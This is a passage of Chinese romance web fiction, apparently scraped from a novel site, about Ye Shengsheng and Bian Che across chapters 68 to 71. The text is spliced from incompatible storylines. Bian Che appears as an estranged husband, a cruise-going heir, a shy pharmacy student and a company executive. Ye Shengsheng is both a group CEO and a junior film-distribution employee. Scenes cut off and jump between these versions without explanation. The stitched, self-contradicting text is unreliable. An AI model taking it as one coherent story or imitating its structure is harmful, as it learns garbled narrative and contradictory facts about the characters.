怎么就学了边澈的坏毛病。 他撑在她身侧,那双眼恣意浪荡:“睡我的时候,你说一个男人不玩两遍,这么快就玩腻了吗?” 叶声笙把脸移开:“没种的男人,我早就玩腻了。” 她就是要攻击他,打碎他所有游刃有余的伪装,要他理智崩盘袒露伤口。 “你是要气死我吗,不管我说什么都要判我死刑吗?” 边澈一双大掌在她腰间,紧了又松,松了又紧,最后转为一声沉沉叹息。 一时间,两人再次陷入安静。 空气中响起她微弱的抽泣声,他心脏像被蜜蜂蜇过那么疼,“所有的错我都认,你所有的情绪我都接受,你想要孩子我就去做复通手术,你别这么轻易地就要离婚,行吗?” 说到最后,他的声音也哽咽了,有什么东西滴到她身上,灼人般的烫。 边澈说完这些就离开了,转身踏进黑暗的夜色中,没再回头。 第68章 晨光清透,鸟鸣低浅。 树叶晃动发出沙沙的响声,泳池的水面被风吹皱,别墅夜灯六点整准时熄灭,晨雾笼罩的御龙湾带着朦胧的美感。 水汽从浴室蔓延到客卧,边澈头发半湿地走出来,水迹顺着脖颈一滴滴流下来,泅得藏蓝浴袍颜色更深了。 他整晚都没睡,在阳台吹了一夜的冷风。 藏头诗戒指找到了,墨玉手串的珠子少了两颗,离婚协议支离破碎地躺在碎纸机里。 一进主卧,就看见叶声笙安静地睡着,她抱着被子蜷缩成一团,眼皮红肿,依稀可见大哭过的痕迹。 边澈安静地坐在床边,伸手帮她把凌乱的长发绾到耳后,动作又轻又温柔。她睡眠很浅,眉心蹙着,睡得并不安稳,时不时发出声息很小的呓语,他低头凑上去,听不清晰。 叶声笙梦里一片光怪陆离。 冉颂舟从朋友那要到了今晚主角的微信,却没着急着加。毕竟边家几位长辈倒是挺中意谈家,又大费周章逼边澈来这地呆着,边澈不表明态度,他不会横插这一脚,到底要先避嫌。 大型游轮在海上航行时很平稳,不似平时玩的飞艇颠簸刺激,冉颂舟在隔壁坐不住,摸出打火机想点根烟,出来时正好瞥见叶声笙。 没看见正脸,不过单从背影上看,都知道是个美人胚子。 回到休息室,就见到边澈靠在门边,指腹揉捻着一朵曼塔玫瑰,花瓣经不过他粗暴的对待,在地毯上落了满香。 小机型相比于波音来说耗费不了多少财力物力,是港岛诸多富豪通勤往返的最优选择,边澈在内陆的行程比较低调,鲜少采用这么迫切的方式。 提前离场,免不了被长辈知晓。 安排好返程计划后,宴凛顺势询问:“那您换下来的西服要送去清洗吗?” “扔了。”边澈吩咐,似是想起什么,面上笼上几分躁郁,“她的也扔了。” “叶小姐没有留下东西。” “……”边澈周身蕴着些笙戾气,微微抬了下眉,“嗯。” 她如此张扬高调,明目张胆到根本让人难以忽视的僭越,边澈的耐心即将告罄,却又被那声笑扰乱了濒临爆发的情绪,就这样看着利利刃出鞘,稳中十环。 不偏不倚,正巧落在了边澈先前那支箭的旁侧。 “看来我还是挺有天赋的。是吧?”叶声笙回眸,模糊了他的姓氏,咬字道:“老师。” 这种混淆视听的招数跟死缠烂打无异,边澈冷峻的线条染上一丝愠意,庄晗景心头冷汗直冒,装作不知情般飞奔向叶声笙,亲昵地挽上她的手臂,“阿声,原来你上这来玩了,难怪刚才到处都找不到你,奶茶的冰都快化完了!” 庄缚青先前提及过他这个性格活泼的妹妹,兄妹俩长相有着五六分相似,边澈不难辨认出她的身份。 两个女孩黏黏糊糊的凑在一起,青春气息浓厚,跟叽喳的喜鹊一样,边澈也不好发作,正巧供应商的电话打来,他没了继续的兴致,连借口都没询,便上了接待员已停在门口的那辆布加迪La Voiture Noire。 这辆车被称为黑夜之声,发售价高达1870万美元,全球仅限量十辆,权力与地位的象征,重金属质感的车身充满未来科技感,宛若暗夜中穿梭的一抹孤影。 叶声笙当初也看上了这款,却因价格望而却步,在网上刷到过无数视频,真正见到实物,惊艳有过之而无不及。 庄晗景脖子伸得老长,感慨人外有人天外有天,“我平时还觉得自己过得挺不错的,吃喝玩乐样样不愁,结果人家一辆车都够我花几辈子了。” 叶声笙:“咱们也不亏,一分钱没花就能看到九位数的豪车。” 见叶声笙还有心情开玩笑,庄晗景控诉,“你到底有没有点良心啊,刚刚差点把我吓死了,澈哥你都敢惹。” 几分钟前,叶声笙才信誓旦旦地说对边家太子爷没兴趣,不过眨眼的功夫,就被啪啪打脸,庄晗景内心懊恼没有早点给叶声笙看照片,闹了这么大一个乌龙。 饶是已经坐实了猜测,叶声笙还是谨慎地念出了他的名字:“澈哥……边澈?” “除了他还能有谁。 放眼整个京市,能够让她小心谨慎到这个地步的,也只有翻手为云覆手为雨的那位。 庄晗景:“要不你下次找个机会让我哥组局,给太子爷道个歉,这个事也就过去了,留个疙瘩总让人心里毛毛的,不踏实。” 叶声笙觉得夸张,她又没做什么冲撞边澈的事,最多是话有些密,哪里至于特意登门道歉。 “有那个必要么?” “当然有!”庄晗景撅了撅唇,“哎呀,先前拉你参加聚会你不去,她们的小道消息可多了,什么豪门私生子呀、出轨秘闻啦,都是小case。听说边澈还挺招人恨嫁的,身材又劲又野,长得那么顶,除了性子冷些,跟他联姻百利无一害。 叶声笙:“他要是真这么抢手,怎么到现在都没有传出绯闻?” “重点就在这!太子爷心高气傲,做事不像老边董那样圆滑,凡是主动靠近他的,没一个好下场。” 庄晗景在社交场上一向混得很开,别管商业互吹还是塑料姐妹花的情谊,跟八爪鱼一样维系得很好,甚至还能心平气和地跟讨厌的人手挽手参加舞会,叶声笙做不到,也就没参与她打下的八卦江山。 有关边澈的事她听过不少,不是说他眼高于顶,就是揣测边家太子爷瞩意哪家豪门,强强联手后的商业版图,该如何破局。 总是大家讨论得热火朝天,当事人却稳坐高台。 庄晗景将边澈雷厉风行的事迹讲得绘声绘色,难得吸引了叶声笙的注意,“这么说,他就是块捂不化的石头呗。” “我知道他是你的菜。”庄晗景说,“但这盘菜能看不能吃,不碰为好,你要是实在喜欢这款,不如找个贴心懂事的平替……” 叶声笙不明白庄晗景怎么秒变这副紧张兮兮的备战状态,就算她真想钓边澈,也得人家有意才行,按他那严防死守油盐不进的脾性,庄晗景的担心纯属多余。 “庄大小姐。”叶声笙打断她,似笑非笑地说:“你对我的滤镜是不是太重了一点?” 庄晗景恨铁不成钢:“你对自己的认知能不能清晰一点。你简直就是天生超绝狐狸圣体好吗!” 只有叶声笙想,几乎就没有她拿不下的人。 “没关系,边先生遗忘的东西,有机会我会代贵馆还给他的。” 叶声笙命人将箭收整好,漂亮的眼睛始终维持体面与平静。 她不会为难无关人员。 只是,到了无人所见的地方,高傲的天鹅颈轻垂,漂亮的黑眸透亮清凌,盈着几分跃跃欲试的野心。 忽然不甘心就此败北。 边澈揉着疲惫的眉心,挥手示意宴凛先去准备,正好还留有一点时间,可以同几个生意场上的老狐狸周旋客套。刻意避开那位小公主的锋芒,也不算抢了她的面子。 冉颂舟见他来去匆忙,看出点门道,用玩笑的语气调侃道:“既然澈哥对小公主没意思,应该不介意我加她吧?” 他晃了晃手机,屏幕界面停留在朋友推过来的名片里,昵称很简单:Xu. 边澈冷然的目光甚至未曾停留,“你加她,用得着来问我?” 冉颂舟这才放下心来,熟练地发送了好友申请,撇清自身似地说,“万一你后面想通,想跟谈家商业联姻,我这样做道德上占不到理不是。” “总不能以后传出去,说我撬兄弟的墙角吧?” 行至门边的人脚步微顿,逆光而立,半张英俊锋棱的面庞隐在暗色里。 “不好意思,我穷途末路的这一天,你等不到。” 言下之意就是,他永远也不会妥协。 轻狂到没边的一句话,从边澈嘴里说出来,无端叫人信服。 冉颂舟听明白了,心态也跟着松弛。 忘了告诉他,谈家那小公主姓叶,话故意慢了半拍才溜到唇边,彼时边澈已经离开。 算了,左右他也不在乎,说与不说,不重要。 叶声笙从小到大被叶淮生宠得跟眼珠子一样,她哪见过她落泪,只能抚着她的背安慰:“不哭不哭,边澈这个渣男,不跟他过了,你要是还不解气,我现在就去找人把他暗杀了。” 叶声笙蹲在地上,什么都说不出,只是不停地落泪。 一直哭了一刻钟,石半蕾带着备用房卡匆匆而来的时候,她的情绪才渐渐稳定。 而同一时刻的边澈也不好受,他从御龙湾出来就有点发烧症状,到了老宅的时候,脸颊已经染上不正常的红。 叶声笙昨天的热搜到底还是影响了股市,今天恒壹集团、叶氏开盘就跌了六个点,虽然不至于跌停,但是股东们还是很不满。YYBB因为是在美国纳斯达克上市,反而没受什么影响。 边远牧和辛甘棠都去安抚股东的情绪了,还是边江最先发现了他的异常,立刻让保姆去拿耳温枪,一测果然红温,三十八度六。 边老爷子原本叫这个混账回来,就是为了当面发泄怒火,连带着之前偷花瓶的事儿,跟他一起清算。这会儿见他病了,也不好再说什么,让保姆联系家庭医生上门,给他输了液。 不知道是疲劳过度,还是药物有安眠成分,边澈在自己卧室睡了冗长的一觉,梦里全都是叶声笙。 第69章 门锁开,玄关灯自动点亮。 穗禾华府的房子因为久不住人,空气中有细小的灰尘在浮动。石半蕾去开窗给房子通风,付芷橙打电话让物业安排保洁来清洁卫生,叶声笙则是径直进了浴室。 彻头彻尾地泡了半小时的澡,头发湿透、双颊泛红,睫毛上凝着水汽,她闻着空气中洋甘菊的香气,终于缓缓吐出口郁气。 阮晴岚曾经告诉过她,心情不好的时候,要么看书,要么泡澡,总会让情绪平静下来。 好像真的有点作用。 拖着水迹从浴缸里出来,叶声笙换了舒服的家居服,就站在镜子前捣鼓护肤的流畅。润肤水、精华、润肤露,从头到脚的每一寸皮肤都没有落下,头发吹到八分干的时候,叶声笙给发尾抹上了精油。 有时候命运实在巧妙。 叶声笙一直觉得,和一个陌生人连续相遇三次以上的可能性为0。 然而,今天这个数据变成了几乎为0。 她今晚加班到了9点,从地下车库开车出来的时候,叶声笙额心一阵阵发疼。 从11岁进入公司学习经营管理开始,到六年前成为行业内最为年轻的投行分析师坐上光盛CEO的位子,叶声笙什么样的大风大浪没见过。 叶家祖辈自明清就创立下来的产业,经过一代代变革衍变为如今的光盛集团,在她手里发展的是越来越好。 但现在,叶声笙渐渐觉得厌烦。 因为是家族企业,她爷爷跟他爸年轻的时候又比较事儿,那些个旁支亲戚一来卖惨,他们就大手一挥把人安排进公司。 他爸这个董事长享受着万人敬仰的待遇,随便一个捧哏就把他乐的飞上天,自以为自个儿多有能耐,总觉得家大业大,没必要顾虑那么多。 到现在,公司上上下下的管理层,有一多半都是他家的半吊子亲戚在尸位素餐。 可以说,靠着叶声笙经营运转起来的光盛集团养活了整个叶氏家族。 但也正是因为这些老鼠屎般的存在,让公司进入了凝滞期。 尽管表面上,光盛投资管理集团在京城是上市企业,是行业内数一数二的龙头大哥,叶家也因此长久居于京城几大权贵氏族行列。 但只有叶声笙知道,这内里已经钻进了数不清的老鼠,将公司啃食得只剩下光鲜亮丽的空壳。 每当她想进行一些新的变革时,这些什么都不懂的人就跳出来指手画脚,说些自认为非常正确的见解,最后整个股东大会乱七八糟的声音响了一堆,结果一个有用的提案都没有总结出来。 叶声笙深感厌倦。 这些亲戚长期驻扎在光盛的领导层,屁本事没有,但粘性极高,靠着叶家发的分红好吃好喝耀武扬威了数十年。 要想剔除,可以说难于登天。 叶声笙给自己剥了一颗薄荷糖,清新爽利的味道在唇齿间蔓延开来,瞬间就驱散了胸中的焦躁郁闷。 本来打算去那家最新开的瑭所尝尝新,但从公司出来后看到漫天星辰的夜幕,叶声笙连呼吸都觉得累。 还是赶紧回家洗洗睡吧。 等路过北新桥街的时候,叶声笙忽然看向了路边一个推着电车走路的背影。 那人穿着京北大学志愿者的红色马甲,正弯腰推着小电驴缓缓往前走。 街上人来人往,那人个子又高,不得已只能屈着身子,将手扶在车把上前行。 叶声笙越看越觉得熟悉,不由得减速跟上去。 等到了跟前,透过副驾驶室的玻璃,叶声笙终于看清楚了人脸。 她踩下刹车,拉动手刹,朝着那人摁了两声喇叭。 青年没领会到这喇叭所为何意,只顾闷着头往前推车。 叶声笙于是又摁了两下。 这次,那人终于停下脚步,疑惑地看了过来。 叶声笙也适时降下了副驾驶的车窗。 两人双目对视。 一双眼黑沉如水。 而另一双眼则闪烁着戏谑的玩味。 青年眼中划过一抹惊愕。 叶声笙眼角微扬。 她打开双闪,下车,绕过一圈走到青年身边,看他半张脸都是汗,忍不住关切问道:“你是京北大学的学生?” 男生还有些愣神,片刻后反应过来,手忙脚乱地点头,轻轻“嗯”了一声。 叶声笙目光挪到他的小电驴上,“车坏了?” 学生抿了抿唇,很是不好意思地回答说:“没电了。” 叶声笙看了看往来的车辆,对他说:“把车子搬上来,我送你一程。” 听到这话,青年怔了怔,但后方驶来的车子开始鸣笛,女子已经打开了后备箱的门。 见状,他没再犹豫,扛起电车就放进了后备箱。 叶声笙忽然很庆幸自己今天出门开的是这辆奔驰大G,要是换做那辆帕拉梅拉,只怕是后盖都合不上。 大学生的电车车型普遍比较小,放进后备箱倒不成问题。 男生在车门外犹豫了几秒才拉开把手上车。 坐在副驾驶位上,和叶声笙肩并肩,他有些局促地扣好安全带。 叶声笙一边启动车子一边问他住哪儿。 “……住宿舍。” 很简短的三个字,没有任何多余的废话。 那就是在京北大学了,幸好离得也不远,就四五公里。 叶声笙问道:“门禁几点?我送你回去。” 青年有些不好意思道:“十一点阿姨会关宿舍楼门。” 叶声笙轻笑一声:“放心,一定给你送到,不会让你露宿街头的。” 不知为什么,听到这话的男生坐在副驾驶位上,安静地不像话。 如果女子此时扭头,就会看到他紧紧抿起但仍控制不住欣喜小小上扬的唇角。 叶声笙不确定他记不记得那天晚上在会所发生的事,所以没有主动提起,而是一边开车一边和他攀谈起别的来:“叫什么名字啊你,大学生。” 青年一改刚刚的局促,字正腔圆地回答说:“我叫边澈。边帅的边,歌澈的澈,今天的今。” 女子挑眉,专注看前方的路况:“今天的今?” 这话倒是别有一番意味。 边澈紧张地垂了垂眼睫,忽的,又迟疑着抬起头来,无比认真地注视着叶声笙的侧脸,说道:“嗯,今天的今。” 叶声笙毫不吝啬地夸赞道:“名字真好听。” 虽然她这段时间对“边”这个姓有点敏感,但那跟这孩子又没有关系。 边澈搭在腿上的手不由自主收紧,手心出了一层的汗。 他小心翼翼抬头,视线在沉默中移向叶声笙握着方向盘的手。 酒红色美甲折射出前方的红绿色信号灯光。 “看你身上的马甲,今天是去做志愿活动了?” 叶声笙聊天很有一套,一开口就是掌控全场的从容自如。 边澈点头,听话回答:“嗯,学院组织的敬老院志愿者活动。” “活动这么晚才结束?” 末了,叶声笙余光瞥了他一眼,又问:“怎么就你一个?车子没电了也没其他同学载你一程?” 边澈沉默了一下,而后才说:“我收拾的比较慢,走的时候才发现大家都已经离开了。” 路过一个红绿灯口,叶声笙踩了刹车,偏过头来跟他面对面说话。 瞧着这小年轻局促的模样,叶声笙有意逗弄他:“要不是碰到我,你今晚真就准备这样推着车回去?” “嗯,”边澈有些不敢看她的眼睛,移开眼神低声道:“也没有很远。” 叶声笙哼笑:“真是年轻身体好啊。” 即便只有五六公里,要一直这么推着一辆电动车回去也实在够呛。 边澈更加不好意思了。 “个子这么高,你是体育学院的?” 边澈摇了摇头,“我的专业是中药学。” 他听见叶声笙情不自禁地笑了笑:“这个专业还蛮少见的。” 边澈迟疑了片刻,才应声说:“是有点少见。” 叶声笙挑眉:“中药学的,这么说,你会把脉了?” 她顺势将手腕伸了出来,“能帮我诊脉看看吗?” 边澈盯着她戴了翡翠手镯的细腻手腕看了几秒,眼神变换几许,但手始终没有任何动作。 就在这时,绿灯亮了,叶声笙眯着眸子笑笑,收回了手,转而专心开车。 车内的氛围一下子静了下来。 边澈紧张到几乎能听到自己的心跳声。 他手指抓着安全带,指尖在带子表皮不安地划来划去,垂下来的碎发遮住了眉眼。 叶声笙余光瞥过来,透过车内后视镜的折影也只能堪堪望见他低着脑袋,牙齿咬紧了下唇。 边澈做了很久的心理准备,终于要张嘴解释时,车子忽然停了。 叶声笙踩下刹车,单手解开了安全带,冲他看了过来:“到了。” 边澈怔了一瞬,转而看向了周遭。 他们已经抵达了京北大学门口。 而且还是距离他们寝室楼最近的南门。 叶声笙兀自摁开了后备箱,然后下车。 边澈赶紧也解开安全带。 望见叶声笙已经将手搭在他的电车上,小男生快步冲了过来,一言不发地接过车子搬到地上。 他怯怯抬眼,很是认真地对叶声笙道谢:“谢谢姐姐,今晚真是麻烦你了。” 叶声笙摆摆手,“举手之劳。” 她看了看手表上的时间,对他道:“已经十点了,快进去吧,不然一会儿就到门禁了。” 边澈“嗯”了一声,推着车子缓缓进了校门。 直到看不到人影,叶声笙才收回视线开门上车。 等回家,已经是十点半了。 叶声笙在车库里停好车,正要拿手机时,目光忽然被副驾驶的一张卡片所吸引。 她拿到手里凑近一看,居然是一张学生卡。 【姓名:边澈】 【学院:中医药学院】 【专业:中药学】 【班级:中药1801B】 望着大头照上冷酷清隽的面容,叶声笙扬了扬唇角,将学生卡收进了包里。 “宝宝,我只想在这儿安静地坐会儿,安静地想你,安静地睡去,安静地醒来,安静地看着那些男模离开……”他的嗓音有气无力的,看起来真的病得不轻。 他还玩上梗了? 叶声笙心里拧得很,还是过不了自己这关,硬声硬气地反驳:“那你能不能安静地把离婚协议签了。” “我真的已经遭报应了,今天回老宅被爷爷骂得狗血淋头,然后就发烧了,一整天滴水未进,又想着不知道你能不能看到我送的生日礼物,刚刚开车的时候,我连油门都差点没力气踩,不过幸好来找你的路上没有下雨,要不然我这种人渣,肯定会被雷劈死的……” 他好像对死亡什么禁忌都没有,就这样直白地诅咒自己,叶声笙心里难受得发紧。 “边澈。” 他应了一声。 “你先回去吧,等你病好了,我们再谈。” 第70章 初夏的骤雨来得突然。 阵阵滚雷声后,玻璃上布满雨痕,整个视界变得一片模糊。 睡到下半夜,叶声笙被疾雨敲击窗户的声音弄醒,她掀被起身。客厅的窗户忘记关了,雨丝飘进来打湿肩膀,也就几秒的时间,她被凉意激得瑟缩了一下。 那时候还在想,幸亏边澈走了,不然他坏事做尽,还真的有可能被雷劈。 潮湿的夜晚,更容易让人患得患失,她躺在床上快把天花板盯出一个窟窿来。想自己的处境、想离婚后的生活,想得更多的还是边澈……想他就算真的做了复通手术,在生孩子这件事上也不是心甘情愿的,她的宝宝又凭什么要个不喜欢自己的爸爸。 预想中的疼痛没有到来,反而是耳边传来了一阵狭促的哀嚎。 边澈怯怯睁开眼,就看到叶声笙寒着脸收回腿,刚刚准备踹他的男车主已经面朝下倒在了草丛里。 “陈处长,麻烦叫一下救护车。” 扭头跟陈硕言招呼了一声后,叶声笙蹲下来,查看边澈的伤势。 “还能站起来吗?” 边澈仰起脸,像是第一次见叶声笙似的,怔愣了好久。 见他满脸迷茫,一动也不动,叶声笙还以为是撞坏了脑子,脸色登时就变了:“边澈?” 她伸手拍了拍他的脸,边澈眼睫颤了颤,总算有了点反应:“……姐姐。” 他本想冲她笑,让她放心,但嘴角像是被胶水粘住了一样,怎么也笑不出来。 更是在望见叶声笙身后的陈硕言后,边澈整个人都不好了。 地上的男人骂骂咧咧爬起来,鼻孔朝天地质问道:“MD,你敢踹老子?简直反了天了!” 他抬手就准备朝叶声笙走去,一旁正在拨打120的陈硕言二话不说沉着脸横在叶声笙跟边澈面前,一米八几的气势一下子就震慑住了男人。 男车主不敢对陈硕言这个男人做什么,只能嘴上说两句,但气焰跟刚刚比,已然消了一大半。 “我劝你们不要多管闲事,这崽子撞坏了我的车,还企图碰瓷讹钱,要么你们就赶紧走,要么,就替他把钱赔给我。” 叶声笙没理会男人的叫骂,只问边澈:“具体什么情况?” 边澈语气恹恹的,但还是把事发经过说了:“他逆行,还开远光灯,我没看清楚,就撞上了……” 听完,叶声笙冷冰冰地回头,剜了一眼男车主。 被当场指出来,男人面子上挂不住,避重就轻地说:“谁让这小子骑那么快的,你看看给我车撞的,我刚提的新车,修车钱都好几万!” 叶声笙一记冷眼看过去:“逆行加开远光灯就够你喝一壶的了,还敢让他赔钱?” 这女人的眼神太过威慑,男人缩了缩脖子,一时竟不知道该怎么回怼。 见边澈仍旧坐在地上,膝盖上的血流个不停,叶声笙眉头狠狠皱起。 “报警了吗?” 边澈摇头,拿出已经碎的无法开机的手机说:“手机撞坏了,开不了机。” 闻言,叶声笙再没了耐心。 她先是掏出电话报了警,上报了对方的车牌号和现场情况后,她挂了电话,上前两步,双手穿过边澈的后腰和大腿后侧,将人打横抱了起来。 身体的忽然悬空让边澈慌了神,手下意识就勾住了叶声笙的脖子。 “姐姐……”他气息有些不稳,但也做不了其他动作,只能紧紧抱住叶声笙:“你放我下来吧,我很重,万一把你……” “闭嘴。” 叶声笙哪里顾得上那么多,现在等救护车也不知道要什么时候了,她抱着人,快步朝着车子走去,还不忘叫上陈硕言。 “陈处长,麻烦帮我开下后车门!” 看见叶声笙毫不费力就抱起了一个一米九的大男人,陈硕言拿着手机已经顿在了原地。 叶声笙的催促声让他猛地回过神来,于是两人合力将边澈送进去后车座。 叶声笙还不忘回头,拍下了事发现场的照片。 走之前,她指着轿车车主,厉声威胁道:“你给我等着。” 去医院的路,叶声笙开的很快,全程都没再说一句话。 坐在后排的边澈也是。 陈硕言从后视镜里看到他一直盯着他们前方驾驶室的方向,眼里漆黑一片,看不真切他脸上到底是什么想法。 直到抵达医院,车内谁都没有说话。 陈硕言觉得这样的氛围很是微妙。 叶声笙在他面前总是挂着从容淡定的笑,这还是头一回见到她表情那么可怕。 而这一切都是因为这个叫边澈的大学生。 陈硕言心情变得糟糕了。 等到了医院,提前接到电话的院方已经派人等在门口了,边澈被推进诊室检查。 忙完,叶声笙坐在诊室门口的凳子上,忽的想起来陈硕言也跟着来了医院。 她原本是要送他回去的。 叶声笙不好意思地看过去,正好跟陈硕言对上了目光。 男人扯了扯领带,维持着最后一丝得体。 像是看穿了她的内心似的,陈硕言摆摆手笑道:“叶总不用抱歉,反正我晚上也没别的安排,只要那孩子没事就行。” 叶声笙还是说:“真是不好意思耽误陈处长了,一会儿结束,我送您……” “不用那么客气,”陈硕言说:“医院门口就能打车,而且这里距离我家不远。叶总辛苦一天了,也要早点回去才是。” 不一会儿,医生处理完出来,叶声笙当即迎上去,“医生,麻烦问下那个男生怎么样了,伤的重不重,要不要手术啊?” 医生先是被她的急切惊得愣了一下,见这人和里面的病人像是认识的,于是推了推眼镜说:“没什么大碍,患者身体挺好的,就是局部的擦伤,伤口第二天会比较疼,过两天有水肿现象都是正常的,按时上药就行。” “脑袋呢?没有撞坏吧?” 医生摇了摇头:“只是轻微的磕碰,伤口已经处理过了。但是患者受了不小的惊吓,所以精神会比较紧张。” 闻言,叶声笙才终于松了一口气:“谢谢医生。” 医生摆摆手,指了指缴费大厅,说:“先去缴费吧。” 见没什么事,陈硕言便道:“我去吧。” 叶声笙拦下他,“陈处长,这事就不劳烦您了。天也不早了,您先回去吧,这边我来处理就行。” 陈硕言觉得这些事都压给她不好,但叶声笙态度坚决,不像是要跟他推脱客套的样子。 于是陈硕言只得道:“那行吧,我先回去了,有什么事你一定要给我打电话。” 叶声笙点头,给了他一个放心的眼神。 陈硕言走后,缴完费的叶声笙回到诊室。 因为有新的病患进来,边澈便移到了门口的休息厅坐着。 他今天穿了条深色牛仔裤,这会儿两腿的膝盖处都破了一个大洞,衣料几乎被横切斩断,露出模糊的血口子。 一块厚厚的纱布斜着贴在额前,膝盖也抹上了褐色的碘伏,但还是能明显看出蹭破的血肉。 一股淡淡的阴郁笼罩在边澈身上。 撑在大腿上的掌心和手肘也有不同程度的血痕,随着时间过去,已经结了痂。 叶声笙来的时候,男生正垂着脑袋坐在凳子上,散落的碎发遮住了眉眼,叶声笙看不到他此刻是什么表情。 左边的空凳子上放了几盒医生开的消炎药。 叶声笙在边澈右手边的空位子上坐下,“吓到了?” 边澈没吭声。 叶声笙看了看时间,现在已经是22:45了,从这里开车,最快也得二十分钟才能抵达京北大学。 折腾了这么久,要想在门禁前将他送回去是不可能的了。 “医药费我已经交过了,”叶声笙说:“时间太晚了,我帮你找个酒店,先住一晚上吧。” 说完,她起身,掏出车钥匙就准备去门口开车。 边澈忽然闷声开口道:“姐姐不是说会等我周一的答复吗?” 叶声笙脚步一顿,她折返回来,居高临下地看着边澈。 面前的人给她一种在闹别扭的感觉。 答复? 说起这个,叶声笙还有火气呢:“我不是一直在等吗?” “那你还……”边澈抬起脸,话说了一半,看到叶声笙的眼睛,剩下的话都被卡在了嗓子眼里,双眼盛满了委屈。 被车撞翻在地,他没哭;被轿车车主指着鼻子骂是有娘生没娘养的,他也没哭;医生给他刮掉嵌在肉里的石子上药,他也忍着没出声。 但现在,刚刚说出来的字字句句,无一不在彰显着他心底的难过。 叶声笙反问:“我还怎么了?” 边澈眼眶红红的,气鼓鼓地别过脸去,语气酸溜溜的,带着一抹难以忽略的心痛:“……这不是还没到周一吗?” 叶声笙没听懂他话里的意思,“你到底想说什么?” 边澈再也忍不住,抬起手背抹了抹眼泪,哽咽道:“我只是还没想好,可今晚那个男人跟你在一起怎么说……明明还没到周一,但他却明晃晃的插队!这种事,起码也要讲究个先来后到吧……” 叶声笙听完,脑子先是空白了两秒,随即她闭上了眼,沉默地捂住脸。 医院走廊的氛围安静的可怕。 只能听见零星几点有人小声啜泣的声音。 边澈哭得视野都模糊了,眼泪打湿了大腿的牛仔裤布料,擦了几下还是汹涌而出,根本止不住。 不是说欲擒故纵很奏效的吗,他考虑两天也不长啊,怎么事态完全不按照他预想的来。 果然网上都是骗人的! 边澈嘴巴一扁,被骗的这个事实令他差点又要哭出来。 一只细腻的长手抓着纸巾盖在了他眼睛上。 青年顿时浑身一僵。 叶声笙便趁着这时候,一点一点地给他擦起眼泪来。 等眼角的泪水都清理干净,面前的景象也清晰了起来,边澈看到叶声笙蹲着,捧起他脸的动作无比温柔。 嘴角还有被碰伤的血口子,一动就疼。叶声笙仔细地避开那处,将他的漂亮脸蛋整理好。 “是你先不理我的。”叶声笙将纸巾丢进垃圾桶,忽然捏住他的下巴,嗓音里染上了淡淡的不悦。 但转而她就放缓了语气,甚至有些无奈:“我一直在等你的回复。” 边澈愣了片刻后,就听到叶声笙问道:“先告诉我,这两天为什么不跟我联系?” 知不知道她拿起手机又失望放下这个动作重复了多少遍。 边澈咬了咬下唇,思索了一会儿才蔫吧着脑袋回答:“我还没考虑好,不知道要怎么面对姐姐……” 于是叶声笙问:“那现在呢,也还没考虑好吗?” 边澈吸了吸鼻子,像是故意气她的,只说:“还没到周一。” 叶声笙真的要被气笑了,看来这家伙是铁了心要等到周一,不然就是没考虑好。 非要强调周一,周一到底有谁在啊。 叶声笙嗤他:“病没好还喝酒?” 边澈神色紧绷,把咳嗽强压下去,喉结上下一滚:“我真的好了。” 他真是不长记性,明明就是病容满面的样子,谎话却还是张口就来。 “好了是吧?” 沉寂的空气被叶声笙一击即破:“那你现在去吃颗头孢证明一下?” 边澈:……魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-76 第71章 边澈当然没有吃头孢,也就理所当然地被发配到了沙发上。 他陪叶淮生喝酒时的神采奕奕全都是装的,这会儿连日来的疲惫和尚未病愈的虚弱全都找上门来,眼睛困得睁不开,躺在沙发上睡了。 不管怎么样,到底离她近了一点,一墙之隔的距离,已经足可以让他暂时睡个安稳觉了。 空气中很快传来轻微的鼾声。 卧室内,叶声笙的睡意反倒是消失得无影无踪,一会儿觉得床单不平整,一会儿又觉得枕头的高度不对,怎么躺都觉得不舒服。 这种完全不讲情面的狠话一撂,周遭空气瞬间就安静了,余衫如老僧坐定般销声如哑。 他的声音过于嚣张跋扈,叶声笙竟然岔神了,联想五一之后的种种倒霉事儿,本命年果然犯太岁。 她捏紧了手里的Ipad,斟酌着该怎么开口,才能游刃有余地应对这种难缠的甲方。 “你是土匪吗?”一道惫懒的嗓音从后方传来,打破了现场的沉寂。 所有人看过去,边澈不知道什么时候进了会议室。 他一进门,威势不留痕迹地侵略过来,原本气焰嚣张的辛北辰突然就泄了气。 “澈哥,你不是说有重要会议吗?” 边澈眉宇间攒着一缕阴鸷,扫了他一眼,“你吵死了,打扰我开会了。” 如果说辛北辰是带着一股子顽劣贵公子的疯,那么边澈就是慵矜不羁中带着高冷。 余衫起身,伸出右手,“边总您好,我是澳星的宣传总监余衫,上次我们见过。” 边澈眉头蹙起,像是做着把脸和名字对上的识别工作,一秒后,点了下头,算是打过了招呼,也没说记不记得她。 余衫悻悻地收回手。之后叶声笙等了很久,久到她确定擅自冠名的教练只是边澈荒谬的玩笑,受到惊吓的小心脏才渐渐归位。 然后她就被很具体化的工作淹没了。 首映礼在即,需要落实的东西又多又杂。叶声笙这边不仅要担着发行部的工作,还要时不时地给余衫擦屁股,心力交瘁。 邓总慷慨激昂,“发行部会再招聘两个发行专员,其余的能克服的尽量内部调整,打破部门屏障,给《交换人生》打一场漂亮仗。” 一番话说得冠冕堂皇,其实都知道,就是让叶声笙配合余衫工作。 “叶声笙也够惨的了,明明做着总监的工作,邓总却一直压着不给她升职。” “我要是她早就离职了,受这份气呢。” “你发现了吗,她其实特别能替自己人扛事儿,手底下人出了岔子从来传不到邓总那儿。” 那人冷笑一声,“跟我们的BOSS形成鲜明对比,明明自己犯的错,每次都让下面人顶雷。” “没办法,人家吹的是枕头风,你行你也可以上。” “这泼天的富贵还是留给她吧。” 自从余衫上任,不管是发行部还是营销部的人,都没少抱怨。可惜这就是真实的职场,看不惯又干不掉,受不了的人可以选择自己滚蛋。 打工人的日常抱怨,出了茶水间,就消失得干干净净。 晓冰情绪持续暴走,电话打得眉头都皱成一座小山了。 叶声笙依然云淡风轻,忙着落实场地,忙着约见院线和影管的负责人。 不是没想过跳槽,白瑜换了新东家之后第一时间就向她抛来橄榄枝,可她觉得跳槽的时机还没到。 叶声笙在等,等这个项目结束,等自己有了几十亿票房电影的运营经历,等自己厚积薄发拥有能真正立足的资本。 今晚星汇院线的老大约叶声笙吃饭,那人在圈里的风评不好,晓冰丧着一张脸,“笙姐别去,陶达那个色痞没安好心。” 叶声笙看着她,“今天我把他拒了,下周就进不去星汇的门。” 晓冰的眉头就没舒展过,她吸一口气,“那我跟你一起去。” 